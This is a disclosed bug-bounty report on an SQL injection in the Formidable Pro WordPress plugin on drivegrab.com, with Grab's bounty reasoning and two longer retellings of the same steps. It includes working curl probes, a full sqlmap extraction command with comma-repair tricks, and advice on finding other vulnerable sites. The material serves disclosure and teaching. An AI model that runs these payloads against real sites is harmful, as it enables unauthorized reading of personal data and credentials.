www.drivegrab.com SQL injection
An unauthenticated AJAX preview function in the Formidable Pro WordPress plugin allowed users to supply HTML containing shortcodes, one of which had an SQL injection in its order parameters. An attacker could read data from the WordPress database, including driver partner PII.
- Triaged in under an hour
- Fixed in 6 days
- Paid in 10 days
- Disclosed after 45 days
Summary by the program
The researcher reported that it was possible to exploit previously unknown SQL injection in a WordPress plugin called Formidable Pro which was fixed immediately. He was able to gain read access on wordpress database and provided us all the relevant details (PoC) required for us to reproduce the issue.
As also stated on our Policy page:
Our rewards are impact-based. This means, for example, that we will issue a relatively high reward
for a vulnerability that has the potential to leak complete dataset of confidential data, but that we
will issue lower reward for a vulnerability that allows an attacker to access to an isolated and limited
dataset. When we have our reward meetings, we always ask one question: If a malicious attacker
abuses this, how bad off are we? We assume the worst and pay out the bug accordingly.
If a single fix fixes multiple vulnerabilities, we treat this as a single vulnerability.
For example, if you find 3 vulnerabilities in a WordPress plugin we use, and our fix is to remove
the plugin, this will receive a single bounty, determined, as always, by impact.
Therefore, in order to be able to accurately identify the overall impact on business, we further investigated to find out the extent of data leakage. During our investigation, we found that database was storing a dataset (representing ~0.6%) containing our driver partners PII.
Researcher also reported 2 other different security issues on same plugin, Formidable Pro. All the 3 vulnerabilities reported were on the latest plugin, and having no updates available at the time by the plugin developers. Deleting the plugin was a single fix.
After assigning the severity based on the data exposure the researcher pointed out that, there is a way to pivot from the DB to wordpress admin dashboard exploiting iThemes-Sync authentication key which was exposed in a database. After our investigation we believe that pivoting was not possible in the context because of the server hardening. We fairly asked him to show specific evidence of his new finding in order to reassess the bounty. Because the SQL injection was already fixed the researcher was not able to perform any remote code execution but he did provided PoC for helping us to reproduce the RCE. From his understanding the only values required for performing RCE was user id and authentication key (which was stored in plaintext in a DB).
While investigating this RCE using researcher's provided PoC we figured out that those two values are not enough for reproducing the RCE because of the following error message:
The hash could not be validated as a correct hash.
On checking with ithemes developers on email, they responded with the following:
We're using randomly generated salts for each site to build the hashes, but we can't go into specifics, for obvious security reasons.
Since neither we or the researcher were able to confirm the RCE we couldn't reassess the bounty.
Based on above data points collected through our investigation, we decided to award the researcher 4500 USD. Also, to appreciate the researcher for spending valuable time and efforts in submitting other 2 detailed bug reports to us, on the same plugin. Since these 2 bug reports were considered duplicate because of single fix, yet we decided to award 250 USD on each duplicate bug report as well.
Needless to say, we take ALL reported vulnerabilities, very seriously and investigate them to best of our technical abilities. We have awarded 10,000 USD bounty to researchers, who have submitted vulnerabilities with critical impact, in the past and we will continue to do so in the future as well.
At the end of the day, all these efforts made by H1 triage team, H1 researchers and Grab security team, comes down to overall risk and impact to the business. However, we always aim to be fair. Some researchers won't agree with some of our decisions, but we're paying out to the best of our ethical ability and trust that the majority of researchers will consider their rewards fair and in many cases generous.
We would like to once again thank the researcher for his great report and allowing us to fix this issue. We really appreciate his help in keeping Grab and our customers safe and secure.
The report
Summary: The website uses a WordPress plugin called Formidable Pro. I found an SQL injection in the plugin code.
Description: The plugin allows the site admin to create forms to be filled by users. For this end it implements some AJAX functions, including one to preview (or actually just view) a form. The functionality is probably intended for administrators to be used in the form design phase, but for some reason it is accessible to unauthenticated users.
The preview function accepts some parameters. Some of them allows the user to specify HTML and WordPress shortcodes (special WordPress markup) to be included with the preview. One of the shortcodes implemented by the Formidable Pro plugin contains an SQL injection vulnerability.
Browsers Verified In:
N/A
Steps To Reproduce:
Verifying the AJAX preview function with the cURL tool:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview'
This request shows a preset "contact us" form (if form id is not defined, you'll get the first form in the database).
The preview AJAX request accepts some parameters. For example you can define HTML to be shown after the form:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=hello world'
You see that "hello world" appears on the page after the "Contact us" form.
The HTML may contain WordPress shortcodes which are special markup in square brackets. There are shortcodes implemented by the WordPress core, and shortcodes implemented by plugins. Any of these can be included in the form preview.
The Formidable plugin implements several shortcodes. One of them is [display-frm-data] which displays data that people have entered in a form. It accepts a few parameters, e.g. the form id:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=XXX[display-frm-data id=835]YYY'
In the resulting HTML you see some form entries between "XXX" and "YYY".
The [display-frm-data] shortcode also accepts parameters "order_by" and "order" for sorting the entries. The "order_by" parameter can contain a field ID or list of them. The "order" parameter is supposed to contain "ASC" or "DESC" to indicate the sorting direction. These parameters can be used to carry out an SQL injection.
Example:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=XXX[display-frm-data id=835 order_by=id limit=1 order=zzz]YYY'
Although this example gives no meaningful output, you should see in the server logs that the "zzz" went in an SQL query which produced an error message.
The shortcode parameters are processed in various ways which makes it very complicated to perform a successful SQL query and retrieve data. However it is possible.
The injected code goes in the ORDER BY clause of an intermediate query that retrieves the list of form entry ID's. Results of the manipulated query aren't directly visible. The attacker can control the order of entries appearing on the page, which is enough to communicate one bit of data from the database.
A further complication is that any comma symbols in the injected data are specially treated and affect the resulting SQL query in a way that creates errors. With careful formatting, however, the query can be salvaged.
I came up with the following sqlmap options to retrieve any data from the database:
./sqlmap.py -u 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&before_html=XXX[display-frm-data id=835 order_by=id limit=1 order="%2a( true=true )"]XXX' --param-del ' ' -p true --dbms mysql --technique B --string persondetailstable --eval 'true=true.replace(",",",-it.id%2b");order_by="id,"*true.count(",")+"id"' --test-filter DUAL --tamper commalesslimit -D █████ --sql-query "SELECT ██████████ FROM █████ WHERE id=2"
This works with the latest sqlmap. The "commalesslimit" tamper module helps avoiding comma symbols in any LIMIT clauses. The --eval parameter does some processing to repair queries that contain commas in the SELECT clause.
Specifically, for each comma appearing in the order parameter, the plugin appends ",it.id" in the query. The repair code appends "-it.id+" after each comma to neutralize the effect. In other words, an injected "SELECT a,b" query would be translated to "SELECT a,it.id b" by the shortcode logic. The repair code changes it to "SELECT a, it.id-it.id+b" which evaluates to the original injected query.
Result of the above sqlmap command:
[03:09:30] [INFO] testing █████
[03:09:30] [INFO] confirming ██████
[03:09:30] [INFO] the back-end DBMS is ███
web application technology: █████
back-end DBMS: ███████
[03:09:30] [INFO] fetching SQL SELECT statement query output: 'SELECT ███████ FROM ████ WHERE id=2'
[03:09:30] [INFO] retrieved: 1
[03:09:43] [INFO] retrieving the length of query output
[03:09:43] [INFO] ███
[03:10:46] [INFO] retrieved: █████
SELECT ██████ FROM ████ WHERE id=2 [1]:
[*] ██████████
Supporting Material/References:
As a proof of concept I retrieved some data.
Tables in the database:
[██████████]
+---------------------------------+
| █████████ |
| █████████ |
| █████████ |
| ███████ |
| ██████████ |
| ███████ |
| ██████████ |
| ████ |
| ██████████ |
| ███ |
| ████████ |
| █████████ |
| █████ |
| ███ |
| █████████ |
| ███████ |
| ███████ |
| ██████████ |
| ████ |
| █████ |
| ██████████ |
| ███ |
| █████ |
| ██████████ |
| ██████████ |
| ████████ |
| █████████ |
| ████ |
| ██████ |
| ████████ |
| ██████ |
+---------------------------------+
Administrator users and their password hashes:
█████
█████
██████
████████
███
█████
████████
Webroot path:
███
Context
The target is www.drivegrab.com, a WordPress site. The site runs a WordPress plugin called Formidable Pro, which lets a site administrator build forms for users to fill in. To support that, the plugin registers AJAX actions, including one that previews (or simply views) a form. That preview functionality is presumably meant for administrators during the form design phase, but on this site it was reachable by unauthenticated users.
The preview action accepts parameters, some of which let the caller supply HTML and WordPress shortcodes to be rendered together with the preview. One of the shortcodes implemented by Formidable Pro, [display-frm-data], contains an SQL injection vulnerability. The researcher's summary is short: the site uses Formidable Pro and the plugin code contains an SQL injection.
Setup
The report lists no accounts, roles or special tooling beyond cURL for manual probing and sqlmap for extraction. The researcher notes that the sqlmap command works with the latest sqlmap and relies on the commalesslimit tamper module. The browser field in the report is marked N/A. The only precondition is network access to the site's admin-ajax.php; no authentication is required.
Finding it
The starting observation is that the AJAX preview function is accessible to unauthenticated users even though its purpose suggests an administrative audience. From there the researcher looked at what the preview accepts. Because the preview renders WordPress shortcodes supplied by the caller, and because Formidable Pro ships its own shortcodes, the attack surface extends into plugin code that was never meant to be driven by anonymous input.
The [display-frm-data] shortcode displays data that people have entered in a form. It takes parameters such as the form id, and also order_by and order for sorting entries. order_by can contain a field ID or a list of them, and order is supposed to hold ASC or DESC. Those two parameters are the injection point.
Exploitation
Step 1: confirm the preview action is reachable
The researcher verifies the AJAX preview function with cURL:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview'
This returns a preset "contact us" form. If no form id is defined, the first form in the database is used.
Step 2: confirm caller-supplied HTML is rendered
The preview accepts parameters that control the output. For example, HTML can be defined to appear after the form:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=hello world'
The string "hello world" appears on the page after the "Contact us" form, which shows that the caller controls part of the rendered output.
Step 3: confirm shortcodes in that HTML are executed
The supplied HTML may contain WordPress shortcodes, the square-bracket markup understood by WordPress core and by plugins. Any of these can be included in the form preview. Formidable implements several shortcodes, one of which is [display-frm-data], which displays data entered into a form and accepts parameters such as the form id:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=XXX[display-frm-data id=835]YYY'
In the resulting HTML, form entries appear between "XXX" and "YYY".
Step 4: reach the sort parameters
The same shortcode accepts order_by and order. order_by can contain a field ID or a list of them; order is meant to be ASC or DESC. These parameters can be used to carry out an SQL injection. The researcher's example:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=XXX[display-frm-data id=835 order_by=id limit=1 order=zzz]YYY'
This example gives no meaningful output, but the server logs show that "zzz" went into an SQL query which produced an error message. That is the confirmation of injection.
Step 5: work around the query construction
The shortcode parameters are processed in various ways, which makes a successful query and data retrieval very complicated, though possible. The injected code lands in the ORDER BY clause of an intermediate query that retrieves the list of form entry IDs. The results of the manipulated query are not directly visible. What the attacker can control is the order in which entries appear on the page, and that is enough to communicate one bit of data from the database.
A further complication: comma symbols in the injected data are specially treated and affect the resulting SQL query in a way that creates errors. With careful formatting the query can be salvaged.
Step 6: extract data with sqlmap
The researcher's sqlmap invocation:
./sqlmap.py -u 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&before_html=XXX[display-frm-data id=835 order_by=id limit=1 order="%2a( true=true )"]XXX' --param-del ' ' -p true --dbms mysql --technique B --string persondetailstable --eval 'true=true.replace(",",",-it.id%2b");order_by="id,"*true.count(",")+"id"' --test-filter DUAL --tamper commalesslimit -D █████ --sql-query "SELECT ██████████ FROM █████ WHERE id=2"
The commalesslimit tamper module helps avoid comma symbols in any LIMIT clauses. The --eval parameter does some processing to repair queries that contain commas in the SELECT clause. Specifically, for each comma appearing in the order parameter, the plugin appends ,it.id to the query. The repair code appends -it.id+ after each comma to neutralise that effect. In other words, an injected SELECT a,b query would be translated to SELECT a,it.id b by the shortcode logic; the repair code changes it to SELECT a, it.id-it.id+b, which evaluates to the original injected query.
The result of the command:
[03:09:30] [INFO] testing █████
[03:09:30] [INFO] confirming ██████
[03:09:30] [INFO] the back-end DBMS is ███
web application technology: █████
back-end DBMS: ███████
[03:09:30] [INFO] fetching SQL SELECT statement query output: 'SELECT ███████ FROM ████ WHERE id=2'
[03:09:30] [INFO] retrieved: 1
[03:09:43] [INFO] retrieving the length of query output
[03:09:43] [INFO] ███
[03:10:46] [INFO] retrieved: █████
SELECT ██████ FROM ████ WHERE id=2 [1]:
[*] ██████████
Step 7: demonstrate the data reached
As a proof of concept the researcher retrieved some data. The tables in the database were listed (names redacted in the report):
The researcher also retrieved administrator users and their password hashes (redacted), and the webroot path (redacted):
Root cause
The order_by and order parameters of the [display-frm-data] shortcode are placed into the ORDER BY clause of an intermediate query that fetches form entry IDs, without adequate sanitisation. Because the shortcode can be invoked through the unauthenticated frm_forms_preview AJAX action, anonymous callers reach that query. The plugin's own handling of commas in the injected data is a quirk of its query construction rather than a defence, and the researcher had to neutralise it to make extraction work.
Impact
The researcher gained read access to the WordPress database. The program's summary states that the database stored a dataset, representing roughly 0.6%, containing driver partners' PII. The researcher also reported two other security issues in the same plugin, Formidable Pro. All three were on the latest plugin version, with no updates available from the plugin developers at the time, and deleting the plugin was a single fix.
The researcher further pointed out a way to pivot from the database to the WordPress admin dashboard by exploiting an iThemes-Sync authentication key exposed in the database. After investigation the program believed pivoting was not possible in that context because of server hardening. The researcher was asked to show specific evidence of the new finding so the bounty could be reassessed. Because the SQL injection was already fixed, he could not perform remote code execution, but he did provide a PoC to reproduce it. In his understanding the only values required for RCE were a user id and the authentication key, which was stored in plaintext in the database. While investigating with that PoC, the program found those two values were not enough, because of this error message:
The hash could not be validated as a correct hash.
On checking with the iThemes developers by email, they responded:
We're using randomly generated salts for each site to build the hashes, but we can't go into specifics, for obvious security reasons.
Since neither the program nor the researcher could confirm the RCE, the bounty could not be reassessed. The program awarded 4500 USD, plus 250 USD on each of the two duplicate reports, which were treated as duplicates because of the single fix.
Fix
The fix was to delete the plugin. The program notes that this single fix addressed all three reported vulnerabilities, and that the plugin developers had no update available at the time. The SQL injection was fixed immediately. Because it was already fixed, the researcher could not perform remote code execution.
Variants to test
- Other Formidable shortcodes rendered through the preview action: supply each shortcode with its documented parameters and watch for SQL errors in responses or logs. A positive result is an error message that echoes the injected value.
- Other AJAX actions in the same plugin that accept caller-supplied HTML or shortcodes: send
action=values withafter_htmlorbefore_htmland check whether the markup is rendered unauthenticated. A positive result is your marker string appearing in the response. - The
order_byparameter with a list of field IDs: try comma-separated values and observe whether the query errors or the entry order changes. A positive result is a controllable ordering change. - The
orderparameter with values other thanASC/DESC: send arbitrary strings and check server logs for the value inside a query. A positive result is the raw string appearing in an SQL error. - Boolean-style extraction through entry ordering: craft payloads that make the page order entries differently depending on a true/false condition. A positive result is a stable, repeatable difference in ordering that encodes one bit.
Hunting notes
This bug hides where a plugin exposes an administrative feature to unauthenticated users and then renders caller-controlled shortcodes. During recon, look for WordPress sites running Formidable Pro and probe admin-ajax.php with action=frm_forms_preview; a returned form without authentication is the signal. The presence of after_html or before_html in the response, and shortcode output appearing in the preview, points to the shortcode execution path. From there, shortcodes that build SQL, such as [display-frm-data] with order_by and order, are the candidates.
The researcher showed impact by extracting real data: table names, administrator password hashes and the webroot path. The program separately found that the database stored a dataset containing driver partners' PII. That concrete data exposure, rather than the injection alone, is what drove the severity and the bounty. The program's policy is impact-based, and it treats multiple vulnerabilities fixed by a single change as one vulnerability, which is why the two additional reports were paid as duplicates.
What happened, in plain words
A security researcher found a way to make a WordPress website read out information from its own database that it was never supposed to show to a stranger. The website, www.drivegrab.com, used a plugin called Formidable Pro, which is a tool that lets a site owner build forms (contact forms, sign-up forms and so on) for visitors to fill in. A flaw in that plugin let anyone on the internet, without logging in, slip extra instructions into a database question the site was asking, and then read the answer back out of the page.
The company behind the site, Grab, confirmed the problem, and the fix was to delete the plugin. It paid the researcher 4500 USD. The company also said that the database held a set of personal information belonging to its driver partners, representing roughly 0.6% of the data. The researcher had also reported two other bugs in the same plugin; because deleting the plugin fixed all three at once, the company treated them as duplicates and paid 250 USD for each of those two as well.
This article walks through the researcher's report step by step, explaining every idea from scratch. You only need to know how to use a browser and a computer.
Background ideas you need first
Before the steps make sense, here are the pieces involved.
- A website and its server. When you visit a page, your browser asks a computer somewhere (the server) for it, and the server sends back the page. Some of what you see is fixed text and pictures; some is generated fresh each time, often by looking things up in a database.
- A database. Think of it as a very large, very organised set of spreadsheets. Each spreadsheet is called a table, each row is one record (one person, one form entry), and each column is one field (a name, an email address). A website stores its content and its users in tables like this.
- SQL. This is the language used to ask a database questions, such as "give me all the rows in the contact form table, sorted by date". A question written in SQL is called a query. A typical query has parts:
SELECTsays which columns you want,FROMsays which table, andORDER BYsays how to sort the results. - SQL injection. This is the vulnerability class in this report. Imagine a form where you write your name, and the website builds a database question by gluing your name into a fixed sentence. If you write a normal name, fine. But if you write something clever that contains SQL of your own, the database may treat your words as part of the question and answer them. That is injection: your input escapes its intended role as data and becomes instructions.
- WordPress. A very popular system for building websites. It provides the basics (pages, posts, users, login) and lets other people add extra features through add-ons called plugins.
- A plugin. A small piece of software you install into WordPress to add a feature. Formidable Pro is one: it builds forms.
- AJAX. A technique where a page talks to the server in the background, without reloading the whole page. For example, when you type in a search box and suggestions appear without the page blinking, that is AJAX. Each such background request goes to a specific address on the server and names an action, which is simply a label telling the server what to do.
admin-ajax.php. The single address in WordPress that handles these background requests. The request says which action it wants, and WordPress passes it to whichever plugin registered that action.- HTML. The language that describes what a web page contains: headings, paragraphs, forms, and so on. If a website lets a visitor supply HTML, that visitor can control part of what appears on the page.
- A shortcode. WordPress has a shorthand notation in square brackets, like
[some-name], that gets replaced with something bigger when the page is built. Think of it as a placeholder or a macro: you write a short tag, and WordPress swaps in a form, a gallery, or a table of data. Plugins can add their own shortcodes. - cURL. A command-line tool for sending web requests by hand. It lets you craft exactly the request you want, which is useful for testing, because a browser normally hides these details from you.
- sqlmap. A tool that automates SQL injection: you point it at a request, and it works out how to ask the database questions and read the answers back, one small piece at a time.
- A proof of concept (PoC). A demonstration that a bug is real, usually by showing the smallest set of steps that produces the effect.
The setup
The target is www.drivegrab.com, a WordPress site. It runs the Formidable Pro plugin. The plugin lets a site administrator build forms for users to fill in, and to support that it registers AJAX actions, including one that previews (or simply views) a form. That preview feature is presumably meant for administrators while they are designing a form, but on this site it was reachable by unauthenticated users, meaning anyone at all, with no login.
The preview action accepts parameters, which are extra pieces of information attached to a request, like the fields on a paper form. Some of those parameters let the caller supply HTML and WordPress shortcodes to be rendered together with the preview. One of the shortcodes implemented by Formidable Pro, [display-frm-data], contains an SQL injection vulnerability. The researcher's own summary is short: the site uses Formidable Pro and the plugin code contains an SQL injection.
No accounts, roles or special tooling are needed beyond cURL for manual probing and sqlmap for extraction. The researcher notes that the sqlmap command works with the latest sqlmap and relies on the commalesslimit tamper module, which is a small add-on that rewrites payloads to avoid commas. The browser field in the report is marked N/A. The only precondition is network access to the site's admin-ajax.php; no authentication is required.
Finding it
The starting observation is that the AJAX preview function is accessible to unauthenticated users even though its purpose suggests an administrative audience. That mismatch is the first clue: a feature built for staff is answering strangers.
From there the researcher looked at what the preview accepts. Because the preview renders WordPress shortcodes supplied by the caller, and because Formidable Pro ships its own shortcodes, the attack surface extends into plugin code that was never meant to be driven by anonymous input. In other words, a stranger can reach deep into the plugin's internals simply by putting the right tag in a request.
The [display-frm-data] shortcode displays data that people have entered in a form. It takes parameters such as the form id, and also order_by and order for sorting entries. order_by can contain a field ID or a list of them, and order is supposed to hold ASC or DESC (ascending or descending, the two sort directions). Those two parameters are the injection point: they end up inside the database question.
Exploitation
Step 1: confirm the preview action is reachable
The researcher verifies the AJAX preview function with cURL:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview'
Line by line:
curlis the tool sending the request.-smeans silent: do not print a progress meter, just the result.-imeans include the response headers, the small block of technical information the server sends before the page itself.- The quoted URL is the address of WordPress's background-request handler.
--dataattaches a body to the request, the way a form submission carries its fields. Here the body isaction=frm_forms_preview, which tells WordPress which action to run.
This returns a preset "contact us" form. If no form id is defined, the first form in the database is used. The point of this step is simply to prove that a stranger can trigger the preview at all.
Step 2: confirm caller-supplied HTML is rendered
The preview accepts parameters that control the output. For example, HTML can be defined to appear after the form:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=hello world'
Line by line:
- The URL and the flags are the same as before.
- The body now has two fields joined by
&, exactly like two fields on a web form:action=frm_forms_previewandafter_html=hello world. after_htmlis a parameter whose name says what it does: put this HTML after the form.
The string "hello world" appears on the page after the "Contact us" form, which shows that the caller controls part of the rendered output. This matters because if you can put your own text on the page, you may be able to put your own shortcodes there too.
Step 3: confirm shortcodes in that HTML are executed
The supplied HTML may contain WordPress shortcodes, the square-bracket markup understood by WordPress core and by plugins. Any of these can be included in the form preview. Formidable implements several shortcodes, one of which is [display-frm-data], which displays data entered into a form and accepts parameters such as the form id:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=XXX[display-frm-data id=835]YYY'
Line by line:
after_htmlnow contains three things: the markerXXX, then the shortcode[display-frm-data id=835], then the markerYYY.id=835tells the shortcode which form to pull entries from.- The markers are just signposts so the researcher can see exactly where the shortcode's output begins and ends.
In the resulting HTML, form entries appear between "XXX" and "YYY". That proves the shortcode was not shown as literal text; it was actually executed by the plugin, and its output was placed into the page. This is the key step: anonymous input now reaches plugin code that queries the database.
Step 4: reach the sort parameters
The same shortcode accepts order_by and order. order_by can contain a field ID or a list of them; order is meant to be ASC or DESC. These parameters can be used to carry out an SQL injection. The researcher's example:
curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=XXX[display-frm-data id=835 order_by=id limit=1 order=zzz]YYY'
Line by line:
- The shortcode now has four parameters inside its brackets:
id=835,order_by=id,limit=1andorder=zzz. order_by=idsays sort by the entry id.limit=1says only one entry is wanted.order=zzzis the interesting part:zzzis not a valid sort direction. It is a deliberate nonsense value, a probe.
This example gives no meaningful output, but the server logs show that "zzz" went into an SQL query which produced an error message. That is the confirmation of injection: the nonsense value did not stay as harmless text, it became part of the database question and broke it. Seeing your own input inside a database error is the classic sign that injection is possible.
Step 5: work around the query construction
The shortcode parameters are processed in various ways, which makes a successful query and data retrieval very complicated, though possible. The injected code lands in the ORDER BY clause of an intermediate query that retrieves the list of form entry IDs. The results of the manipulated query are not directly visible. What the attacker can control is the order in which entries appear on the page, and that is enough to communicate one bit of data from the database.
Think of it like this: you cannot see inside the filing cabinet, but you can ask the clerk to hand you the folders in a certain order. If the order changes depending on a yes/no answer from inside the cabinet, then each handover tells you one bit, one yes or no. Repeat it enough times and you can spell out whole values.
A further complication: comma symbols in the injected data are specially treated and affect the resulting SQL query in a way that creates errors. With careful formatting the query can be salvaged. Commas matter because SQL uses them to separate items in a list, so the plugin's own handling of them interferes with injected queries that need lists.
Step 6: extract data with sqlmap
The researcher's sqlmap invocation:
./sqlmap.py -u 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&before_html=XXX[display-frm-data id=835 order_by=id limit=1 order="%2a( true=true )"]XXX' --param-del ' ' -p true --dbms mysql --technique B --string persondetailstable --eval 'true=true.replace(",",",-it.id%2b");order_by="id,"*true.count(",")+"id"' --test-filter DUAL --tamper commalesslimit -D █████ --sql-query "SELECT ██████████ FROM █████ WHERE id=2"
Line by line, in plain words:
./sqlmap.pyruns the sqlmap tool.-u '...'gives the address to attack.--data '...'gives the body of the request, the same kind of body as the cURL examples. This time the shortcode sits inbefore_htmlrather thanafter_html, and theordervalue is a crafted expression rather than a plain word.%2ais the URL-encoded form of the*character, and%2blater is the encoded form of+; encoding is how special characters travel safely inside a request.--param-del ' 'tells sqlmap that parameters in this body are separated by spaces rather than the usual&, because the payload itself contains characters that would otherwise confuse the parsing.-p truetells sqlmap which parameter carries the injection. Here it is the piece namedtrueinside the crafted expression.--dbms mysqlsays the database is MySQL, so sqlmap can tailor its questions to that product.--technique Bselects the boolean-based technique: ask questions whose answer is yes or no, and infer data from the difference.--string persondetailstabletells sqlmap what text to look for in a response to decide the answer was "yes".--eval '...'runs a small piece of Python before each request to adjust the payload. It does two jobs: it replaces every comma with,-it.id+, and it rebuildsorder_byasid,repeated once per comma, followed byid.--test-filter DUALnarrows the tests sqlmap tries.--tamper commalesslimitloads the tamper module that avoids commas in LIMIT clauses.-D █████names the database to work in (redacted in the report).--sql-query "SELECT ██████████ FROM █████ WHERE id=2"is the actual question the researcher wants answered, with the table and column names redacted.
The commalesslimit tamper module helps avoid comma symbols in any LIMIT clauses. The --eval parameter does some processing to repair queries that contain commas in the SELECT clause. Specifically, for each comma appearing in the order parameter, the plugin appends ,it.id to the query. The repair code appends -it.id+ after each comma to neutralise that effect. In other words, an injected SELECT a,b query would be translated to SELECT a,it.id b by the shortcode logic; the repair code changes it to SELECT a, it.id-it.id+b, which evaluates to the original injected query. Since it.id-it.id is zero, adding it changes nothing, and the query behaves as the researcher intended.
The result of the command:
[03:09:30] [INFO] testing █████
[03:09:30] [INFO] confirming ██████
[03:09:30] [INFO] the back-end DBMS is ███
web application technology: █████
back-end DBMS: ███████
[03:09:30] [INFO] fetching SQL SELECT statement query output: 'SELECT ███████ FROM ████ WHERE id=2'
[03:09:30] [INFO] retrieved: 1
[03:09:43] [INFO] retrieving the length of query output
[03:09:43] [INFO] ███
[03:10:46] [INFO] retrieved: █████
SELECT ██████ FROM ████ WHERE id=2 [1]:
[*] ██████████
What this output says, in order: sqlmap tested the injection, confirmed it, identified the database product, then ran the researcher's own SELECT statement and retrieved its output. The timestamps show the extraction took a few minutes, which is normal for the boolean technique, because each bit of the answer is a separate request.
Step 7: demonstrate the data reached
As a proof of concept the researcher retrieved some data. The tables in the database were listed (names redacted in the report):
This is the shape of a table listing: a box drawn with characters, one row per table name. The names themselves are blacked out in the report, but the point is that the researcher could enumerate what the database contains, which is the first thing an attacker does after gaining read access.
The researcher also retrieved administrator users and their password hashes (redacted), and the webroot path (redacted):
A password hash is not the password itself but a scrambled fingerprint of it, stored so the site can check a login without keeping the real password. The webroot path is the folder on the server where the website's files live. Both are sensitive: hashes can sometimes be cracked offline, and knowing the webroot helps an attacker plan further steps.
Root cause
The order_by and order parameters of the [display-frm-data] shortcode are placed into the ORDER BY clause of an intermediate query that fetches form entry IDs, without adequate sanitisation. Sanitisation means cleaning input so it cannot change the meaning of the query; here it was missing. Because the shortcode can be invoked through the unauthenticated frm_forms_preview AJAX action, anonymous callers reach that query. The plugin's own handling of commas in the injected data is a quirk of its query construction rather than a defence, and the researcher had to neutralise it to make extraction work.
Impact
The researcher gained read access to the WordPress database. The program's summary states that the database stored a dataset, representing roughly 0.6%, containing driver partners' PII. PII means personally identifiable information: data that can identify a real person, such as a name, phone number or address.
The researcher also reported two other security issues in the same plugin, Formidable Pro. All three were on the latest plugin version, with no updates available from the plugin developers at the time, and deleting the plugin was a single fix. The program's policy explains why that matters: rewards are impact-based, and if a single fix fixes multiple vulnerabilities, they are treated as a single vulnerability. The policy text quoted in the summary reads:
Our rewards are impact-based. This means, for example, that we will issue a relatively high reward
for a vulnerability that has the potential to leak complete dataset of confidential data, but that we
will issue lower reward for a vulnerability that allows an attacker to access to an isolated and limited
dataset. When we have our reward meetings, we always ask one question: If a malicious attacker
abuses this, how bad off are we? We assume the worst and pay out the bug accordingly.
If a single fix fixes multiple vulnerabilities, we treat this as a single vulnerability.
For example, if you find 3 vulnerabilities in a WordPress plugin we use, and our fix is to remove
the plugin, this will receive a single bounty, determined, as always, by impact.
The researcher further pointed out a way to pivot from the database to the WordPress admin dashboard by exploiting an iThemes-Sync authentication key exposed in the database. A pivot means using one foothold to reach another, more valuable one; here, from reading the database to controlling the admin area. iThemes-Sync is another plugin, and an authentication key is a secret string that proves identity, like a password for software rather than a person. After investigation the program believed pivoting was not possible in that context because of server hardening, meaning the server was configured defensively enough to block that route.
The researcher was asked to show specific evidence of the new finding so the bounty could be reassessed. Because the SQL injection was already fixed, he could not perform remote code execution, which means running his own commands on the server, but he did provide a PoC to reproduce it. In his understanding the only values required for RCE were a user id and the authentication key, which was stored in plaintext in the database. While investigating with that PoC, the program found those two values were not enough, because of this error message:
The hash could not be validated as a correct hash.
On checking with the iThemes developers by email, they responded:
We're using randomly generated salts for each site to build the hashes, but we can't go into specifics, for obvious security reasons.
A salt is random extra data mixed into a hash so that the same input produces a different result on each site, which makes copying a hash from one place to another useless. That is why the two values were not enough.
Since neither the program nor the researcher could confirm the RCE, the bounty could not be reassessed. The program awarded 4500 USD, plus 250 USD on each of the two duplicate reports, which were treated as duplicates because of the single fix.
Fix
The fix was to delete the plugin. The program notes that this single fix addressed all three reported vulnerabilities, and that the plugin developers had no update available at the time. The SQL injection was fixed immediately. Because it was already fixed, the researcher could not perform remote code execution.
Variants to test
If you were looking for similar bugs on other sites, these are the directions the report suggests.
- Other Formidable shortcodes rendered through the preview action: supply each shortcode with its documented parameters and watch for SQL errors in responses or logs. A positive result is an error message that echoes the injected value.
- Other AJAX actions in the same plugin that accept caller-supplied HTML or shortcodes: send
action=values withafter_htmlorbefore_htmland check whether the markup is rendered unauthenticated. A positive result is your marker string appearing in the response. - The
order_byparameter with a list of field IDs: try comma-separated values and observe whether the query errors or the entry order changes. A positive result is a controllable ordering change. - The
orderparameter with values other thanASC/DESC: send arbitrary strings and check server logs for the value inside a query. A positive result is the raw string appearing in an SQL error. - Boolean-style extraction through entry ordering: craft payloads that make the page order entries differently depending on a true/false condition. A positive result is a stable, repeatable difference in ordering that encodes one bit.
Hunting notes
This bug hides where a plugin exposes an administrative feature to unauthenticated users and then renders caller-controlled shortcodes. During recon, look for WordPress sites running Formidable Pro and probe admin-ajax.php with action=frm_forms_preview; a returned form without authentication is the signal. The presence of after_html or before_html in the response, and shortcode output appearing in the preview, points to the shortcode execution path. From there, shortcodes that build SQL, such as [display-frm-data] with order_by and order, are the candidates.
The researcher showed impact by extracting real data: table names, administrator password hashes and the webroot path. The program separately found that the database stored a dataset containing driver partners' PII. That concrete data exposure, rather than the injection alone, is what drove the severity and the bounty. The program's policy is impact-based, and it treats multiple vulnerabilities fixed by a single change as one vulnerability, which is why the two additional reports were paid as duplicates.
Glossary
- AJAX: a way for a web page to exchange data with the server in the background, without reloading the whole page.
- Action: a label in a WordPress background request that tells the server which piece of code to run.
